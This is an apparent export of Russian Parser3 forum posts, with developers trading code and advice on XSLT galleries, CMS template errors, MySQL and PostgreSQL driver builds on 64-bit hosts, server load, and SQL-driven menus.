			<fullsize>chicken03_min.jpg</fullsize>\
			<thumbnail>chicken03_t.jpg</thumbnail>\
			<name></name>\
			<description></description>\
		</image>\
		<image>\
			<fullsize>fish01_min.jpg</fullsize>\
			<thumbnail>fish01_t.jpg</thumbnail>\
			<name></name>\
			<description></description>\
		</image>\
	</page>\
	<page name=\"2\">\
		<image>\
			<fullsize>organic4_min.jpg</fullsize>\
			<thumbnail>organic4_t.jpg</thumbnail>\
			<name></name>\
			<description></description>\
		</image>\
		<image>\
			<fullsize>organic5_min.jpg</fullsize>\
			<thumbnail>organic5_t.jpg</thumbnail>\
			<name></name>\
			<description></description>\
		</image>\
		<image>\
			<fullsize>organic6_min.jpg</fullsize>\
			<thumbnail>organic6_t.jpg</thumbnail>\
			<name></name>\
			<description></description>\
		</image>\
		<image>\
			<fullsize>pike01_min.jpg</fullsize>\
			<thumbnail>pike01_t.jpg</thumbnail>\
			<name>Pike01 name</name>\
			<description>Pike02 description</description>\
		</image>\
		<image>\
			<fullsize>salad01_min.jpg</fullsize>\
			<thumbnail>salad01_t.jpg</thumbnail>\
			<name>Salad01 name</name>\
			<description>Salad01 description</description>\
		</image>\
	</page>\
</gallery>\
[/code]\
\
и XSLT таблица\
\
[code]\
<?xml version=\"1.0\" encoding=\"utf-8\"?><!DOCTYPE xsl:stylesheet \
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:output method=\"html\" encoding=\"utf-8\" doctype-public=\"-//W3C//DTD XHTML 1.0 Transitional//EN\" doctype-system=\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"/>\
<xsl:template match=\"/\">\
<html xmlns=\"http://www.w3.org/1999/xhtml\">\
<head>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"/>\
<title>галерея на XSLT</title>\
</head>\
<body>\
<h2>галерея на XSLT</h2>\
<table border=\"1\">\
	<xsl:apply-templates select=\"//image\"/>\
</table>\
</body>\
</html>\
</xsl:template>\
\
<xsl:template match=\"image\">\
	 <xsl:for-each select=\"thumbnail\">\
    <tr>\
   	<td><img><xsl:attribute name=\"src\"><xsl:value-of select=\".\" /></xsl:attribute></img> </td>\
    !!!<td> &nbsp;<img><xsl:attribute name=\"src\"><xsl:value-of select=\"//following-sibling::thumbnail[2]\"/></xsl:attribute></img></td>\
    !!!<td><img><xsl:attribute name=\"src\"><xsl:value-of select=\"image\"/></xsl:attribute></img></td> \
    </tr>\
	</xsl:for-each>\
</xsl:template>\
</xsl:stylesheet>\
\
[/code]\
\
Вот как раз строки выделенные восклицательными знаками и вызывают затруднение. Помогите плиз - как лучшее сделать такую галерею."
"69916","[code]<xsl:template match=\"gallery\">\
	<xsl:param name=\"columns\">3</xsl:param>\
\
	<xsl:variable name=\"images\" select=\"/page/image\"/>\
\
	<table>\
		<xsl:for-each select=\"$images/image[position() mod $columns = 1]\">\
			<tr>\
				<xsl:apply-templates select=\".|following-sibling::image[position() &lt; $columns]\"/>\
			</tr>\
		</xsl:for-each>\
	</table>\
</xsl:template>\
\
<xsl:template match=\"image\">\
	<td>\
		<img … />\
	</td>\
</xsl:template>[/code]\
\
Код не проверял.\
Принцип, думаю, понятен.\
\
Так же, зачастую, лучше сверстать содержимое блоками с «float: left;» и не привязываться к определённому количеству столбцов.\
Содержимое будет занимать всё доступное пространство по ширине, но размер блоков должен быть одинаков."
"69917","1.\
Про шардинг и распараллеливание слыхал,но это как бы не касается Parser'a - это в целом технологии разгрузки и масштабирования, тут можно фантазировать вплоть до сервера на 1 запрос. А вот реально интересно где живет парсер под какими нагрузками и сколько кушает \"железа\".\
\
2.\
[b]Sumo[/b], вы имеете ввиду \"медленные клиенты\", которые долго \"сосут\" страницу и тем самым держат открытый сокет, буфер, и т.п., а значит плодят кол-во одновременно запущенных процессов?\
\
Спасибо, информация важная, но подождем кто что\
ответит на реальных примерах. Вот то, что\
[b]Саян[/b] описал, что при 27K + с виду статичный сайт начал умирать на masterhost'e... это конечно наводит на разные мысли. Во-первых,на виртуале это уже хоть как = cgi-скрипт, а значит по 3Мb+ за запрос как минимум. Но в тоже время сам сайт (если конечно УРЛ правильно указан) выглядит больше статичным, а 27К трафа, это пусть даже в 8 часовой прайм-тайм диапазон = 8ч x 60мин x 60сек = 28 800 сек.  А, 28 800 / 27 000 = 1,06 - то есть примерно 1 запрос в секунду, ну пусть даже активность неравномерна по часам и в пике это будет 20 запросов в секунду. Может жадность русского хостера на квоты выделенных ресурсов на виртуале... Хотя 64 одновременных процесса - это вообще показатель бОльшего количества трафа - 50 запросов в секунду - это обычно 100-300К зависит от ширины окна пикового времени трафа. На сайте видна большая справочная база - может тут собака порылась и работа с БД не оптимизирована... У меня на амерских и лондонских датацентрах и их виртуалах держало тоже примерно 10-30К точно - но там скриптец простенький, хотя была работа по чтению их БД (и тоже кеширования не было)..."
"69918","В качестве loop core пусть будет\
простенький скрипт - запись/чтение из БД\
и вывод на экран какого-нить рандомного стринга.\
\
Запустить 3 волны (со сторонней сетевой тачки): \
1. 5 запросов в секунду\
2. 30 запросов в секунду\
3. 100 запросов в секунду \
\
Оценка параметров\
1.Среднее Время работы скрипта на один запрос.\
2.Средняя загрузка CPU во время 1,2,3 волны\
3.Средний расход памяти во время 1,2,3 волны\
\
Протестить, Python, Ruby, PHP, Parser, Perl\
Я вот ожидал бы получить худшие показатели у Ruby\
и на этом успокоится, Twitter пока что на Ruby пашет, девелоперы плачут что тормозит, но при их\
то объемах - я бы нисколько не удивился. Если\
я буду знать, что Parser быстрее Ruby, я буду спать намного спокойнее."
"69919","Вобщем нужно сделать новости. На одной странице. Чтобы они были одним вертикальным списком. Но возникла проблемка - нужно чтобы у каждой второй новости фоновый цвет был серым, а у каждой первой белым например. то есть чтобы цвета менялись через новость. Или может даже понадобиться включить три цвета. Вопрос - как этого добиться? Извините, если мой вопрос показался вам глупым."
"69920","http://www.parser.ru/docs/lang/exprops.htm\
\
[quote]% Остаток от деления[/quote]\
\
Позиция новости известна, позиция в которой нужен цвет — тоже.\
Сообразить не сложно."
"69923","Лучше потратить время на прототип, который реализует основной функционал и погонять тесты на нем - скорее всего узкие места вылезут достаточно быстро.\
\
p.s. Если все-таки решитесь писать тесты, то не забудьте на других языках сэмулировать (или использовать библиотеки, которые это умеют) встроенные Парсеровские механизмы, например, таинтинг, преобразование данных, полученных из БД в таблицы и пр. :)"
"69924","Поэтому говорить о некотором гипотетическом запросе не стоит. У меня в системе большая часть страничек (на которых может быть по 50-60 sql-запросов) строится за 0,1-0,2 сек, при этом используются эффектинвые механизмы кеширования СУБД, но есть парочка, на которой только sql-запросы (5 штук) выполняются по полторы секунды и создают значительную нагрузку на СУБД. Таким образом я могу спокойно отдавать по тысяче страничек первого типа в секунду, но 10 запросов второго типа могут поставить всю систему в очень неприятное положение.\
\
Поэтому лучше все-таки сделать прототип, реализующий реальный функционал и посмотреть какие части потенциально-проблемные. [Естественно базу данных лучше наполнить данными, объем которых сопоставим с тем, что будет в реальной системе... а лучше на порядок большим.]"
"69925","Тогда отправляю в FAQ, читать, как правильно задавать вопросы на форуме."
"69926","Я бы не утверждал, что Нармед - статичный. Там крутится довольно посещаемый магазин и форум. Среднее время выполнения запроса - 0,08 сек для залогиненного админа и 0,05 сек для простого посетителя, 6/8Мб памяти на запрос. В ваших расчетах не учтена флуктуация: пользователи-то не выстраиваются в очередь, они кликают хаотично, хоть и с динамикой по времени суток. \
Поэтому обвал сайта выглядит следующим образом: в прайм-тайм (обычно, обеденный перерыв) в логе появляются сообщения вида \"превышено количество одновременных подключений\", а вслед за ними - штук 10-20 вылетов процесса в течение минуты. \
Иногда и в непиковое время такие вылеты случаются, возможно из-за роботов. \
\
Да, ни о каких очередях процессов речи не идет ни на хостинге, ни в парсере (последнее пока только у меня в голове). \
\
Да, при тестировании сайт отрабатывал те самые 6-8 запросов в секунду.\
И вот еще в помощь: http://pws49.awardspace.com/internet/menasce/6.htm"
"69927","сливал пару тройку дней назад из цвс head и парсера и пг.\
\
Парсер как cgi - собрался нормально.\
\
Драйвер к pg конфигур проходит. На make ругается так:\
\
[code]\
[stur@www ~/adm_scr/src/parser/sql/pgsql]$ sudo make\
make  all-recursive\
Making all in libltdl\
make  all-am\
./../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.      -g -O2 -c -o ltdl.lo `test -f 'ltdl.c' || echo './'`ltdl.c\
gcc -DHAVE_CONFIG_H -I. -I. -I. -g -O2 -c ltdl.c  -fPIC -DPIC -o ltdl.lo\
./../libtool --mode=link gcc  -g -O2    -o libltdlc.la   ltdl.lo\
rm -fr .libs/libltdlc.la .libs/libltdlc.* .libs/libltdlc.*\
ar cru .libs/libltdlc.al ltdl.lo\
ranlib .libs/libltdlc.al\
creating libltdlc.la\
(cd .libs && rm -f libltdlc.la && ln -s ../libltdlc.la libltdlc.la)\
if ./libtool --mode=compile g++ -DHAVE_CONFIG_H  -I. -I. -I. -I../../parser3/src/sql -I./libltdl -I/usr/local/include     -g -O2 -MT parser3pgsql.lo -MD -MP -MF \".deps/parser3pgsql.Tpo\" -c -o parser3pgsql.lo parser3pgsql.C;  then mv -f \".deps/parser3pgsql.Tpo\" \".deps/parser3pgsql.Plo\"; else rm -f \".deps/parser3pgsql.Tpo\"; exit 1; fi\
g++ -DHAVE_CONFIG_H -I. -I. -I. -I../../parser3/src/sql -I./libltdl -I/usr/local/include -g -O2 -MT parser3pgsql.lo -MD -MP -MF .deps/parser3pgsql.Tpo -c parser3pgsql.C  -fPIC -DPIC -o parser3pgsql.lo\
parser3pgsql.C: In function 'void toupper_str(char*, const char*, size_t)':\
parser3pgsql.C:85: error: 'toupper' was not declared in this scope\
*** Error code 1\
\
Stop in /home/stur/adm_scr/src/parser/sql/pgsql.\
*** Error code 1\
\
Stop in /home/stur/adm_scr/src/parser/sql/pgsql.\
*** Error code 1\
\
Stop in /home/stur/adm_scr/src/parser/sql/pgsql\
[/code]\
\
Что может быть?"
"69928","P.S. по поводу сборки драйвера я даже не представляю что вам предложить."
"69929","А какую наиболее стабильную советуете поставить?\
Если можно то -r release_3??? :)\
\
по поводу пг - в какую сторону хоть рыть?"
"69931","Есть вот такая структура сайта:\
\
Новости компании (новостная лента)\
\
О компании\
	Структура управления\
		Структура органов управления (текст)\
		Состав совета директоров (текст)\
		Генеральный директор (текст с фото)\
	Миссия и стратегия развития компании (текст)\
	Общая информация о компании (текст)\
\
Акционеру, инвестору\
	Акционерный капитал (текст)\
	Внутренние документы регулирующие деятельность органов управления (здесь будут ссылки на документы)\
	Информация о аудиторе и регистраторе (текст)\
	Проспект ценных бумаг (здесь будут ссылки на документы)\
	Раскрытие информации\
		Годовой и ежеквартальные отчеты  (здесь будут ссылки на документы)\
		Протоколы заседаний совета директоров (здесь будут ссылки на документы)\
		Информация о ценных бумагах эмитента (здесь будут ссылки на документы)\
		Информация о существенных фактах (здесь будут ссылки на документы)\
		Информация об аффилированных лицах (здесь будут ссылки на документы)\
		Сообщение о регистрации проспекта ценных бумаг (здесь будут ссылки на документы)\
Услуги (текст)\
\
Вакансии (текст)\
\
Контаткы (текст)\
\
\
Но я вот уже третий день сижу и ломая голову как же мне построить базу да и навигацию тоже чтобы сократить до минимума кол-во статических страниц.\
Сделать нужно срочно, а сидеть вчитываться нету времени. Может у кого есть какие-то идеи или готовые решения? Заранее благодарен."
"69932","Установил CMS .COM. Возникли проблемы с магазином и галереей.\
Вот ошибка в которой не смог разобраться (магазин запустился но при обращении к товару или каталогу сыпятся ошибки в основ ном одна и таже, касающаяся XML.P) ошибки и примеры кода:\
\
В работе Parser произошла ошибка:\
runtime error: file Z:///home/ilk.ru/www/xsl/mod/shop.xsl line 523 element if\
Variable 'hit_id' has not been declared.\
xmlXPathCompiledEval: 1 objects left on the stack.\
Ошибку вызвал этот фрагмент:\
transform \
Ошибка произошла при работе с файлом:\
…//classes/operators/xml.p, строка номер 6\
Что обычно приводит к ошибке xml?\
\
в вашем коде XML ошибки, или вы пытаетесь выполнить над XML недопустимую операцию.\
Последовательность операций, которая привела к ошибке:\
(от самой последней вверху списка до самой первой внизу) \
src: …//classes/operators/xml.p строка 6 \
xmlTransformer: …//classes/components/com_builder.p строка 93 \
rem: …//classes/components/com_builder.p строка 93 \
if: …//classes/components/com_builder.p строка 83 \
buildPage: …//index.html строка 95 \
rem: …//index.html строка 95 \
content: …//auto.p строка 110 \
jBody: …//classes/common/sql.p строка 76 \
connect: …//classes/common/sql.p строка 76 \
inc: …//classes/common/sql.p строка 76 \
server: …//auto.p строка 107\
\
\
[code]<!-- Список категорий каталога - элементы-->\
	<xsl:template match=\"item\" mode=\"shop-category-menu\">\
		<li>\
>>>>>>>>>>>ОШИБКА>>>>>>>>><xsl:if test=\"descendant-or-self::*/@id = $hit_id\">\
			<xsl:attribute name=\"class\"><xsl:text>cur</xsl:text></xsl:attribute>\
		</xsl:if>\
[/code]\
вот код XML.P\
\
[code]# $Id: xml.p,v 1.10 2003/09/25 18:31:28 egr Exp $\
# преобразователь xml данных в html код\
@xmlTransformer[source;stylesheet][transformed;src]\
$src[^xdoc::create{$source}]\
[i]>>>>>>>>>> строка номер 6>>>>>>>>>[/i]$transformed[^src.transform[$stylesheet]]\
^transformed.string[\
	$.method[xhtml]\
	$.indent[no]\
	$.encoding[$response:charset]\
]\
$src[]\
$transformed[][/code]\
\
В чем проблема?"
"69933","[b]Variable 'hit_id' has not been declared.[/b]\
Ищите, где и как в xsl объявляется hit_id."
"69934","Я иногда делаю так\
\
id, title, url, parent, position\
\
Если parent = 0 то это корневой пункт.\
\
Третий день голову ломаете, а вчитываться времени нет? ))))"
"69935","Ну а там где много текстов, делаете url = text.html?id=1 и т.д."
"69936","Если нужно решить проблему быстро:\
Добавьте определение:\
[code]<xsl:param name=\"size\"/>[/code]\
в начале шаблона, в котором возникает ошибка, т.е. сразу после строки:\
[code]<xsl:template match=\"item\" mode=\"shop-category-menu\">[/code]"
"69938","[code]				<xsl:choose>\
				<xsl:when test=\"//shop_category/item[descendant-or-self::*/@id = //shop_category/@hit_id]/title\">\
				<!-- если мы выбираем товары по категориям -  указываем ее-->\
					<div class=\"next-arrow\"><xsl:value-of select=\"$messages/message[@name = $products-select-name]\"/></div>\
					<div class=\"next-arrow\"><xsl:value-of select=\"//shop_category/item[descendant-or-self::*/@id = //shop_category/@hit_id]/title\"/></div>\
					<div class=\"down-arrow\"><xsl:value-of select=\"//shop_category/item/item[@id = //shop_category/@hit_id]/title\"/></div>[/code]\
\
вот самое первое где встречается эта переменная."
"69939","Спасибо"
"69940","Это где переменная используется, а нужно искать где задаётся, что-нибудь вроде:\
[code]<xsl:variable name=\"hit_id\" ...[/code]\
\
Впрочем, \"хозяин\" CMS уже посоветовал временный костыль. Ему, как минимум, виднее:-)"
"69941","Мне понравилась эта CMS.\
\
Вечером уже буду править, на работе нет времени.\
Еще есть проблема с галереей, но подробно опишу позже. Там когда заходишь при чистых не админских куках все нормально. Если заходишь в режим админа - редактирования, сыпятся ошибки :(. Но сначала я решил разобраться с магазином.\
\
А еще при добавлении нового юзера тож ошибка, как мне показалось, код ошибки позже, там немного неправильное обращение к БД."
"69942","есть тока такое \
<xsl:with-param name=\"hit_id\"><xsl:value-of select=\"shop_category/@hit_id\"/>\
\
Нужно внимательней код посмотреть чтоб разобраться что да как.\
Да, заплатку Rafael уже подсказал, позже попробую, дома."
"69944","Да, разумеется, в адресной строке что-то типа «что-то типа ?q=%D0...»\
Если задать $response:charset[windows-1251], то всё в порядке, но если UTF-8, то опять начинаются траблы..."
"69945","Как именно этот процесс происходит? Как мне данные выбирать по корню. чтобу у одного раздела одно подменю а другого другое выскакивало? и вот еще с файлами как быть? их хранить в одной базе и вытаскивать скажем по названию раздела или как лучше сделать?"
"69947","Пишите. Ошибки там в основном из-за того, что CMS-ка для примера собиралась из нескольких готовых сайтов + человеческий фактор \"присутствия\" разработчика = всех ошибок мне не увидеть.\
Описанная вами ошибка легко решается правкой шаблонов. Возникла он из-за того, что систему я писал на базе старой версии Parser, которая менее строго относилась к XSLT-парсингу."
"69948","/: .../html/auto.p(18:2): './lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', /usr/lib/libmysqlclient.so: wrong ELF class: ELFCLASS64 [<no type>]\
\
где собака порылась? надо libmysqlclient.so\
под 64битную платформу искать?"
"69950","Теперь тут: http://sibarit.ru/my/files/libmysqlclient.so 32bit"
"69951","Как я понимаю, было у разработчиков как-то желание продвинуть parser и на англоязычный рынок. Но в английском форуме последние сообщения - аж 2007-го года. Делаем вывод, что англоязычных разработчиков нет :(\
\
Вопрос у меня практический. Я несколько лет программирую на парсере, но вот в последнее время появляются заказчики из-за бугра. И объяснить им, что парсер такой замечательный, весьма непросто. Задают они резонный вопрос: а кто сможет дальше поддерживать их проект, если это буду не я? ведь у них рядом таких специалистов нет.\
\
Вот и думаю я, может пора мне изучать python? или что-то еще?\
Дайте совет, коллеги!"
"69952","Хостер hqhost.net\
Действительно, новый вирт.аккаунт попал на сервер где стоит Linux Debian 64 bit-ный. А раньше ставились на 32 bit-ный и я по привычке залил Parser который у меня уже работал именно на этом хостинге. Всё проверить не успел, парсер завел, вроде ок, а начал БД прикручивать и \"опа\" -\
либа mysql не грузится. Я так понимаю, раз parser3.cgi все таки завелся на 64битке (пока тестовую страницу правда не грузил, но так вроде \"на вид\" работает), то нужно просто достать 64-битную либу или в связке с ней тоже не попрет?\
\
Хочу ответ, куда копать?"
"69953","и вы поняли неправильно, вам не нужно доставать 64битную либу, она уже у вас там есть, на 64битной-то системе."
"69954","Так как на серваке действительно стоит 64-битная\
/usr/lib/libmysqlclient.so\
\
с которой не умеет работать драйвер парсера и на это ругается. А также, этот драйвер, как и сам парсер, на 64 не собираются."
"69955","перенёс на свою голову на руцентр пару старых проектов на втором парсере\
\
там есть модуль рассылки новостей и т.п.\
так не работает!\
\
есть у кого на руцентре работающий sendmail на втором парсере?\
что нужно сделать чтобы заработало?\
\
переписывать 7 проектов -- сил нет"
"69956","Говоря полуOFF и по-русски, многие наши OpenSource проекты живут \"неохотно\" - потому что люди выросли далеко не в самой благоприятной экономической обстановке и далеко не все могут себе позволить вести творческий и благотворительный проект. Да, \"буржуины\" даже зарабатывают на своих OpenSource, но там, а не у нас. \
\
Поэтому... хоть у нас и классные мозги, но в связи со сложившейся ситуацией на полный альтруизм рассчитывать не стоит, людям надо еще основную работу работать.\
\
Поэтому... Parser3 будет развиваться ровно столько, сколько есть свободного времени у его \"писателей\". Сильно расчитывать, что много добавят на уровне source'ов сторонние пользователи - тоже нет. Что обычно шлют пользователи - это реализации своих классов, и сборки под конкретные ОС. В остальном - типа всякие оптимайзеры, компиляторы байт-кода, перенос на 64бита - врядли появятся.\
Это я о перспективах...\
\
А о реальности - надо отдать должное - это \"офигенская\" карманная ракета! Ребята сделали очень и очень навороченный интерпретатор. \
Цели, которые ставятся на главной странице Парсера, с лихвой перекрыты поверх уже много раз.\
\
Я скажу в точку \"на Parser подсаживаешься - очень быстро\", и слезать с него вообще не хочется...\
потому что он во многом очень удобный, гибкий и \
практичный. А к версии 3.4.0 обещают и оптимизацию по расходу памяти сделать. \
\
Такой массовости и поддержки как у Питон, у Парсера в скором времени не предвидится, но и нафиг =) Те, кто знают Парсер - это шкатулка с заклинаниями - хороша, как ложка к обеду - а кушать хочется всегда =)"
"69957","[quot]\
всякие оптимайзеры\
[/quot]\
текущая head версия как раз и подвергается очень серьёзной оптимизации, особенно по использованию памяти. те, кто интересуется, об этом знают, скачивают, собирают и тестируют (хотя да, таковых единицы).\
\
\
[quot]\
перенос на 64бита - врядли появятся\
[/quot]\
\
уже есть. буквально на первой странице форума об этом есть упоминания. хотя... действительно, на фига что-то читать/искать? глупости это, когда можно написать."
"69958","да, ситуация фатальна. \
вы искать ничего не хотите, а вам на ложке в рот никто ничего нести не будет (хотя фиг знает, может добренький Maxx придёт и расскажет)."
"69959","Единственное я тока сильно в XSL не разбираюсь, а там как я понял реально в шаблоне тока недочеты.\
Я решил сильно не парится и объявить те переменные что не видятся глобально :) надеюсь не повлияет не на что :)\
\
Проблема теперь в том, что если новый пользователь, не из базы, добавляет товар в корзину, в ней нифига не отображается и ошибок нет. А если под пользователем зайти и в куках оставить след, то все работает. Ошибку то тоже описать с листингом не получается ее ведь не видно!"
"69960","32bit Parser + 32bit [url=\"http://www.parser.ru/forum/?id=69898\"]libmysqlclient.so[/url] и все работает на 64bit RedHat"
"69962","Извините, я никого обидеть не хотел.\
\
Реально, я хотел сказать, что Parser магически крут! :)\
\
P.S.: А про 64 читал, видно пост попался не свежий с подписью (нам не нужно было, никто не присылал)"
"69964","А если бы поиск еще нормально работал, или форум нормальный разбитый по тематикам был. А то введешь\
ключевые слова и получаешь 300 постов blob'ом. Вы ясно-понятно в теме, а вот человеку впервые столкнувшемуся с проблемой, приходится пролистать кучу постов. Что вы и правда думаете, что никто поиском не пользуется - пользуется и конкретизирует.\
\
Запрос: \"не работает на 64\" - выдаст вам 934 страницы всего что не приколочено.\
\
Запрос: \"ELFCLASS64\" - выдаст 4 поста не считая моего. И пост, который идентичен моему, в нем самое ключевое место занимает цитата: [quot]Администратор сервера сказал, что:\
\
Данная ошибка говорит о том, что используется не тот парсер - не для той\
платформы (используется 32bit парсер, а платформа 64bit).\
\
Они сами взяли откуда-то 64 битную, но без поддержки XML.[/quot]\
\
P.S.\
[quot]64 bit уже есть[/quot]\
Где вы обо всем этом говорите? В чате чтоли? Или\
надо отлистать ровно 126 страниц форума назад...\
Как вы себе представляете на данном форуме вообще отслеживать тематики?"
"69965","Исправить-то вероятно просто,\
\
Было: config_includes.h\
\
#ifdef HAVE_CTYPE_H\
#       include <ctype.h>\
#endif\
\
Стало:\
\
#       include <ctype.h>\
\
А вот почему Configure у вас HAVE_CTYPE_H не задекларировало\
- сложно сказать."
"69966","Я, конечно, понимаю, что это форум по парсеру. Но может, кто подскажет, что еще поизучать параллельно с использованием парсера?\
Может, есть что-то близкое к парсеру по духу?\
\
требуется язык для разработки веб-проектов среднего размера. мне советовали питон в turbogears."
"69967","[quot]\
Запрос: \"не работает на 64\" - выдаст вам 934 страницы всего что не приколочено.\
[/quot]\
\
рекомендую найти и почитать про то, как правильно составлять запросы в поисковиках. реально пригодиться.\
\
в вашем запросе вы использовали три нерелевантных слова + число (ну нафига вам страницы, содержащие слово 'работает'? а, ну да... вы же не читатель, и как искать вы соотв. тоже не читали, включая буквально один абзац в FAQ на этом сайте). \
\
если кратко, то смысл вашего запроса для равен нулю. если тупо ввести 'x64' -- уже будет всё существенно лучше, хотя я не знаю, будет там ответ или нет."
"69968","Хотя сейчас нашёл драйвера которые собирал ещё тем летом, с ними заработало.\
\
По change логу вроде новых багов пофиксено не было (может я не прав и просто не обновлялся лог), пусть эти пока работают."
"69969","http://artlebedev.ru/, порядка 150,000 обращений к главной странице в сутки, то есть в дневное время ~5 обращений в секунду. Конкретно эта страница не кешируется (при reload можно видеть смену картинок и счетчика). CGI версия парсера, даже не модуль (и так вполне справляется).\
\
Вообще при большом числе обращений запуск процесса тоже весьма ресурсоемок, поэтому на быстрых страницах нет смысла сравнивать CGI реализацию и реализацию в виде модуля - модуль понятно быстрее."
"69970","например тут видно, что изменения были сделаны позже (там в декабре 2008 баг был [url=/forum/?id=68574]поправлен[/url]):\
http://cvsview.parser.ru/cgi/viewcvs.cgi/sql/pgsql/\
\
ChangeLog обновил (в head)."
"69971","1. Глобальные переменные нежелательны в шаблонах. Только в том случае если они инициализируються один раз и в них всегда одно и тоже значение.\
\
2. Пользователь не из базы купить ничего не может и диже кинуть в корзину, т.к. все завязано на ID текущего пользователя. Ошибки все отлавливаються через ^try{} или, в случае критических ошибок, через обработчик [b]@unhandled_exception_debug[][/b] (В файле auto.p)\
\
3. Ошибки можно отследить по методам. В начале каждого модуля (файла .p) обозначены методы, котоые в нем используються. За корзину отвечает метод [b]@shop_basket[_param][/b]\
Внутри метода прописан алгоритм действия."
"69972","2. Я не нашел формы регистрации именно юзера. Есть только в админке добавление, удаление юзеров и установка прав доступа (кстати если добавить не пользователя с правами юзера, а потом попытаться войти под ним, сыпятся ошибки, код позже, там в SQL обращении ошибка). Т.е. нужна  веб регистрация. В шаблон нужно добавить формы. Хотя я думаю они есть. ток нужно метод написать или найти в коде который отвечает за это.\
\
3. начал разбираться в этом методе @shop_basket[_param] еще вчера. в свободного времени просо маловато"
"69973","Скорее всего не совпадают данные, указанные в конфигурационнои auto.p\
\
Узнать параметры можно у хостера - это стандартная информация."
"69974","там второй парсер\
можно как-то на втором парсере указывать расположение sendmail?"
"69975","Перевели меня тут на новый сервер у хостера, и MySQL там вроде более новый 5.0.67, перестали работать мои скрипты с базой данных, опытным путем выяснил что когда я скармливаю дату\
\
WHERE curdate = '^date.sql-string[]'\
\
^date.sql-string[] - возвращяет строку типа \"2009-06-03 23:07:11\", как и должно быть согласно документации.  На старом хостинге все было ок, но на новом мускул хочет работать только с \"2009-06-03\", а \"2009-06-03 23:07:11\" понимать отказывается.\
\
Помогите советом.\
\
P.s. Версия парсера 3.2.3"
"69977","В России есть хорошие айтишники со свободным временем, просто работает привычка считать опенсорс халявой, и соответственно, не платить. Низкий уровень вовлеченности - из-за привычки не ставить сотечественников ни во что. Но в случае с Парсером это принципиально преодолимо."
"69980","Такое бывает, если вместо формата поля DATETIME в таблице указано просто DATE."
"69981","2. Форму действительно я где-то потерял... Она есть (т.к. в работающем магазине используеться), но видимо для нее не сделан раздел. Исправлю позже.\
С правами пока есть недоработки и пока у меня четко работает только два вида пользователя: админы и пользователи. Надо лучше продумать схему прав: что на что влияет.\
\
3.[b]@shop_basket[_param][/b] достаточно прост. Там в начале идут проверки, в зависимости от которых вызываются внутренние методы. Будут вопросы - пишите.\
\
Я планирую в ближайшее время выйти в отпуск и плотно заняться доработкой системы, т.к. это нужно для текущих проектов."
"69982","^connect[$connect_string]{ \
   $news[^table::sql{select \
       id, pid, uri, title  \
   from \
      menu  \
   where \
      pid='0' \
}]}\
\
^connect[$connect_string]{ \
   $news2[^table::sql{select \
       id, pid, uri, title  \
   from \
      menu  \
   where \
      pid=$news.id\
}]}\
\
^news.menu{\
<a href=\"menu.html?id=$news.id\">$news.title</a>\
^if(def $news2){\
<br />\
^news2.menu{\
<a href=\"menu.html?id=$news2.id\">$news2.title</a>}[<br />]}\
}[<br />]\
\
\
\
Знаю что глупо, но возможно ли что-то сделать в этом роде? И если например будет три уровня вложения, то как быть тогда?"
"69985","тесты: http://www.parser.ru/f/1/download/utils/parser3test_russian.zip\
\
auto.p из дистрибутива, с $request/$response:charset[windows-1251]\
\
сегфолтится где-то в недрах transcodeToUTF8/transcodeFromUTF8\
\
Плюс, более мелкие вещи - поддержка EXIF, например:\
http://git.debian.org/?p=collab-maint/parser.git;a=blob;f=debian/README.Debian"
"69991","она с trim, в случае, если request:charset==UTF-8 и идёт попытка \"отсечь\" русские буквы. это проверяется в тесте (если вы его перекодируете, изначально он в 1251). если у вас работает 3.3.0, то проблем с head быть не должно.\
\
а вообще test.html -- лишь некоторая демонстрация возможностей. мы им парсер не проверяем. для проверки использует прилагающиеся тесты (cd tests, make tests)\
\
что касается exif -- давайте подробности. в наших тестах всё работает, т.к. это исправлялось (по приводимой ссылке неполные правки для x64)."
"69992","примерно две-три недели назад пробовал собирать пакет из HEAD, тогда проблема еще была"
"69994","т.к. в настоящий момент там делаются существенные внутренние изменения.\
\
P.S. что касается работоспособности на x64, то соотв. правки были внесены и в ветку release_3_3_0 (но в разделе скачать архив исходников мы не обновляли, и скорее всего не будем)."
"69995","понятно, спасибо, попробую как раз release_3_3_0, ибо интересуют пока\
именно исправления наличествующих в 3.3.0 багов.\
\
PS: а вообще, релиз 3.3.1 был бы неплох."
"69996","т.к. мы планируем 3.4.0 ;-)"
"69997","А вот я сделал меню по уроку. А вот если я например захожу в цены а там еще выбираю какой-то товар. Получается /price/dvd/. И тогда у меня уже пропадает подсветка у кнопки ЦЕНЫ основного меню. А можно ли как-то сделать так, чтобы подсветка оставалась но при этом и ссылка тоже была?\
Буду очень признателен за ответ."
"69998","Тест следующий:\
\
index.p3\
[code]$answer[^file::load[text;http://xxx.ru/test.p3; $.method[POST]  $.body[sdfsdf]  ]]\
\
$answer.text\
[/code]\
\
В test.p3 следующее:\
[code]\
+${response:body}+\
[/code]\
\
Респонс боди - пуст..."
"69999","что вы туда записали?\
с $request:body не перепутали?"
"70000","если например захожу www.xxx.ru/news/\
то у меня и ссылка и подсветка\
\
если www.xxx.ru/news/2/\
то подсветка вобще пропадает а ссылка остается\
\
нужно чтобы при www.xxx.ru/news/\
была подсветка но не было ссылки\
\
а при www.xxx.ru/news/2/\
\
и то и другое было\
\
\
код такой:\
\
[code]@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri eq $request:uri){\
	^if(in \"/news/\"){\
   <td width=\"$cell_width\" align=\"center\" bgcolor=\"#A2D0F2\">\
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
   </td>}{\
   <td width=\"$cell_width\" align=\"center\" bgcolor=\"#A2D0F2\">\
   <nobr>$sections.name</nobr> \
   </td>}\
}{ \
   <td width=\"$cell_width\" align=\"center\">  \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
   </td> \
}[/code]\
\
/2/ - это через rewrite news.html?id=2"
"70001","Передавалась хмлка пост запросом.\
\
В версии парсера 3.2 работало.\
\
Скрипт принимал следующим образом.\
\
реквест боди, делал замены и создавал хдок."
"70002","т.е. вот так:\
[code]^if(in \"/news/\"){\
	^if($sections.uri eq $request:uri){\
[/code]"
"70003","Теперь на /news/ все пункты меню подсвечены а ссылка стоит только у news\
